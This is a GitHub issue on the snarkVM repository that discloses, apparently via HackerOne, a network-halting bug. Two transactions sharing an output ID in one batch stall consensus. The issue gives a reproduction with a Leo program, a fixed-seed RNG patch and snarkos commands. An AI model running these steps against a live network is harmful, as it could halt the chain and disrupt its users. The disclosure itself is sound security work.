AleoNet / snarkVM

A Virtual Machine for Zero-Knowledge Executions
https://snarkvm.org
Apache License 2.0
1.06k stars 1.49k forks source link

[Bug] Two transactions containing the same output_id in a single batch will halt the network #2263

Closed feezybabee closed 8 months ago

feezybabee commented 9 months ago

https://hackerone.com/reports/2289881

Summary

Two transactions contain the same output_id in the single batch halt the network

Steps To Reproduce:

  1. Deploy a Leo program like below
program attack_output.aleo {
    record out_record {
        owner: address,
        a: u32,
    }
    transition main(x: u32) -> out_record {
        let r: out_record = out_record {
            owner: self.caller,
            a: 1u32,
        };
        return r;
    }
}
  1. Locally patch snarkvm code

https://github.com/AleoHQ/snarkVM/blob/testnet3/synthesizer/src/vm/execute.rs#L37

    pub fn execute<R: Rng + CryptoRng>(
        &self,
        private_key: &PrivateKey<N>,
        (program_id, function_name): (impl TryInto<ProgramID<N>>, impl TryInto<Identifier<N>>),
        inputs: impl ExactSizeIterator<Item = impl TryInto<Value<N>>>,
        fee_record: Option<Record<N, Plaintext<N>>>,
        priority_fee_in_microcredits: u64,
        query: Option<Query<N, C::BlockStorage>>,
        rng: &mut R,
    ) -> Result<Transaction<N>> {
        /// *** Modify ***///
        use rand::SeedableRng;
        let rng_same = &mut rand_chacha::ChaChaRng::seed_from_u64(0);
                /// *** Modify ***///

        //***Modify `rng` -> `rng_same`***//
        let authorization = self.authorize(private_key, program_id, function_name, inputs, rng_same)?; 

        // ....

        //***Modify `rng` -> `rng_same`***//
        let execution = self.execute_authorization_raw(authorization, query.clone(), rng_same)?;
        // Don't change the `rng` used to generate `fee_transition`  
  1. Use the patched snarkvm version to build snarkos

  2. Generata transactions with different transition ids but the same output id.

source .env

FUNCTION_NAME=main
ARG1=1u32

# 1
snarkos developer execute \
--private-key ${PRIVATE_KEY} \
--query ${API_PREFIX} \
--priority-fee 1000 $PROGRAM_NAME $FUNCTION_NAME $ARG1 \
--dry-run > t1.json

# 2
FUNCTION_NAME=main
ARG1=2u32

snarkos developer execute \
--private-key ${PRIVATE_KEY} \
--query ${API_PREFIX} \
--priority-fee 1000 $PROGRAM_NAME $FUNCTION_NAME $ARG1 \
--dry-run > t1.json
  1. Broadcast two transactions at the same time, check the logs:
2023-12-18T10:19:18.249065Z ERROR BFT failed to advance the subdag for round 74 - Found a duplicate output ID in block 30

Proof-of-Concept (PoC)

  1. self.ledger.prepare_advance_to_next_quorum_block doesn't check the transactions whether have the same transition_id.
  2. While self.ledger.check_next_block will check whether there are the same output_ids.When the check fails, the transmissions will be reinserted.
  3. Repeat step 1

Impact

The vulnerability will halt the network easily.

feezybabee commented 9 months ago

Seemingly related to https://github.com/AleoHQ/snarkVM/issues/2262